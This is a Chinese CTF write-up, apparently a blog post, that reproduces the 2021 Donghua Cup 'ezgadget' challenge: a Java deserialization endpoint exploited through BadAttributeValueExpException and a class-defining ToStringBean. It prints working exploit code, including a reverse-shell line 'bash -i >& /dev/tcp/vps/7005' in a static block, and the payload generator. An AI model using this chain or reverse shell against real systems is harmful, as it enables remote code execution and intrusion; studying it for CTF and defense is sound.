东华杯2021 ezgadget复现

东华杯2021 ezgadget复现

环境搭建

题目给了ezgadget附件,需要自取

链接:https://pan.baidu.com/s/1mZt_aorU_kZDo-GJH4wwxQ
提取码:tmng

运行(需要有java环境)

java -jar ezgadget.jar

源码分析

我们把附件扔进jd-gui,文件不是很多

mark一下:我在本地复现的时候,用idea创建的一个maven项目,没有用模板,然后将jd-gui获取的源码放进去,将lib这些包加入
在这里插入图片描述

jd-gui中的显示

在这里插入图片描述

我们简要分析一下

User类主要是User类的编写,该类实现了Serializable接口

IndexController类着重分析一下,两个路由,一个是/,也就是回显个字符串index;看另一个readobject,这个会接收一个参数data,并且使用Tools类的base64Decode方法进行解码,字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,name.equals("gadgets") && year == 2021判断成功之后,会调用readObject方法

IndexController.class

@Controller
public class IndexController {
  @ResponseBody
  @RequestMapping({"/"})
  public String index(HttpServletRequest request, HttpServletResponse response) {
    return "index";
  }
  
  @ResponseBody
  @RequestMapping({"/readobject"})
  public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
    byte[] b = Tools.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
    String name = objectInputStream.readUTF();
    int year = objectInputStream.readInt();
    if (name.equals("gadgets") && year == 2021)
      objectInputStream.readObject(); 
    return "welcome bro.";
  }
}

ToStringBean类继承了ClassLoader类,实现了Serializable接口,该类有一个成员变量ClassByte,在toString方法中,defineClass将成员变量ClassByte还原出一个Class对象

public class ToStringBean extends ClassLoader implements Serializable {
  private byte[] ClassByte;
  
  public String toString() {
    com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
    Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
    Object Obj = null;
    try {
      Obj = clazz.newInstance();
    } catch (InstantiationException e) {
      e.printStackTrace();
    } catch (IllegalAccessException e) {
      e.printStackTrace();
    } 
    return "enjoy it.";
  }
}

Tools类中有base64加解密,序列化和反序列化的方法

到这里思路很明显的

通过反序列化的readObject方法去调用ToStringBean类的toString方法

cc链5中,利用BadAttributeValueExpException的readObject方法去调用toStirng方法,可以把这个思路拿来用

exp

整一个可以弹shell的类,里面放上static静态代码块,通过defineClass触发执行(static块执行会发生在一个初始化的阶段)
shell.java

package com.ezgame.ctf;

import java.io.IOException;
//反弹shell的类
public class shell {
    static {
        try{
            Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vps/7005 0>&1"});
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

编译,记录class文件的地址

在对BadAttributeValueExpException类的成员变量val进行赋值的时候,不要直接用构造函数去赋值,可以分析一下

如果我们传入的参数是null,那么就会为null;如果不是null,那么会赋值为val.toString,跟进

在这里插入图片描述

而这个toString方法返回的就不是我们输入的对象了
在这里插入图片描述
所以还是用反射去进行赋值

exp.java

package com.ezgame.ctf;

import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class exp {
        public static void main(String[] args) throws Exception{
                ToStringBean toStringBean = new ToStringBean();
                Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
                classByteField.setAccessible(true);
                //获取到shell对象编译后的地址
                byte[] bytes = Files.readAllBytes(Paths.get("D:\\java\\ctf\\target\\classes\\com\\ezgame\\ctf\\shell.class"));
                //将值传入该对象的成员变量中
                classByteField.set(toStringBean,bytes);
                //到这里,危险函数部分就好了,接下来利用cc5,去调用这个危险函数



                //实例化该类的时候,不能直接像下面这样将参数直接传进行,应该使用反射
                //BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
                BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11111);//这个初始值之后会自动会改,所以这里随便整
                Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
                val.setAccessible(true);
                //反射赋值
                val.set(badAttributeValueExpException,toStringBean);


                //它的readObject方法会去调用成员变量val的toString方法,成员变量val是Object属性的
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
                //因为读取参数的时候,会先去读取一个字符串,一个数字,然后才是Object,所以按照顺去output
                objectOutputStream.writeUTF("gadgets");
                objectOutputStream.writeInt(2021);
                //然后才是我们的BadAttributeValueExpException类对象
                objectOutputStream.writeObject(badAttributeValueExpException);

                //base64加密一下
                //转换为字节流
                byte[] bytes1 = byteArrayOutputStream.toByteArray();
                //用该工具类Tools进行base64加密
                String s = Tools.base64Encode(bytes1);
                System.out.println(s);

        }

}

注意要进行url编码一下,不然在将空格+进行base64解码的时候会出现问题

在这里插入图片描述

需要进行一次url编码,在burp中ctrl+u进行url编码

在这里插入图片描述

同时监听的端口也有了响应

在这里插入图片描述

环境是本地的,弹个shell能成功即可

参考链接

  1. ezgadget题目讲解
  2. static静态代码块的执行顺序
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值